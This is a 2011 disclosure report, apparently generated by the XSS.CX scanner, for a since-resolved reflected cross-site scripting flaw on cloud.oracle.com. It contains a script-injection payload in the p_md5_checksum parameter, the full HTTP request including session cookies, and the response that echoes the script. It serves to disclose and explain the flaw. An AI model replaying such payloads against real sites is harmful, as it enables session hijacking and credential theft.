XSS, Resolved, cloud.oracle.com, Reflected Cross Site Scripting, CWE-79, CAPEC-86

Reported to Oracle 10-17-2011 and Resolved 11-21-2011

Report generated by XSS.CX at Mon Nov 21 10:16:55 CST 2011.

Loading



1. Cross-site scripting (reflected)

XSS in cloud.oracle.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1. Cross-site scripting (reflected)

Summary

Severity:   High
Confidence:   Certain
Host:   https://cloud.oracle.com
Path:   /mycloud/wwv_flow.accept

Issue detail

The value of the p_md5_checksum request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7de15"><script>alert(1)</script>f63bfb69bab was submitted in the p_md5_checksum parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

POST /mycloud/wwv_flow.accept HTTP/1.1
Host: cloud.oracle.com
Connection: keep-alive
Content-Length: 436
Cache-Control: max-age=0
Origin: https://cloud.oracle.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cloud.oracle.com/mycloud/f?p=service2:notify_me:0:::1::
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WWV_PUBLIC_SESSION_5001=3598503052462700; ORACLE_CLOUD=C883817E0FE44F56; WWV_PUBLIC_SESSION_5003=1479613243090993; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_cc=true; BIGipServerwww_cloud_oracle_com_80=2463891081.24862.0000; s_nr=1318815714959; gpw_e24=https%3A%2F%2Fcloud.oracle.com%2Fmycloud%2Ff%3Fp%3Dservice2%3Anotify_me%3A0%3A%3A%3A1%3A%3A; s_sq=oraclecloud%3D%2526pid%253Dcloud%25253Aen-us%25253A%25252FNotify%252520Me%252520of%252520Updates%252520%25257C%252520Oracle%252520Public%252520Cloud%2526pidt%253D1%2526oid%253Djavascript%25253Aapex.submit('CREATE')%25253B%2526ot%253DA%26oraclecom%2Coracleglobal%3D%2526pid%253Docom%25253Aen-us%25253A%25252Fproducts%25252Fapplications%25252Ffusion%25252F%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fcloud.oracle.com%25252Fmycloud%25252Ff%25253Fp%25253Dservice%25253Ahome%25253A0%25253A%25253A%25253A%25253A%25253A%2526ot%253DA

p_flow_id=5003&p_flow_step_id=1&p_instance=1479613243090993&p_page_submission_id=9442049033674&p_request=CREATE&p_arg_names=77163203970299379&p_t01=xss&p_arg_names=77163411158299380&p_t02=xss&p_arg_na
...[SNIP]...
g_names=77163016753299379&p_t04=xss&p_arg_names=77162817151299379&p_t05=US&p_arg_names=77163813569299380&p_arg_names=77161232145299376&p_t07=nqyy&p_arg_names=77161423188299376&p_t08=xs&p_md5_checksum=7de15"><script>alert(1)</script>f63bfb69bab

Response

HTTP/1.1 200 OK
Server: Oracle-Application-Server-11g
X-ORACLE-IGNORE: IGNORE
X-ORACLE-IGNORE: IGNORE
X-ORACLE-IGNORE: IGNORE
X-ORACLE-IGNORE: IGNORE
X-Powered-By: Servlet/2.5 JSP/2.1
X-Frame-Options: DENY
Content-Type: text/html; charset=utf-8
Content-Language: en
Vary: Accept-Encoding
Content-Length: 19604
Date: Mon, 17 Oct 2011 01:45:33 GMT
Connection: keep-alive
Set-Cookie: BIGipServerwww_cloud_oracle_com_80=2463891081.24862.0000; expires=Mon, 17-Oct-2011 09:45:35 GMT; path=/

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7 no-css3"> <![endif]-->
<!--[if IE 8 ]> <html class="ie8 no-css3"> <![endif]-->
<!--[if IE 9 ]>
...[SNIP]...
<input type="hidden" name="p_md5_checksum" value="7de15"><script>alert(1)</script>f63bfb69bab" />
...[SNIP]...

Report generated by XSS.CX at Mon Nov 21 10:16:55 CST 2011.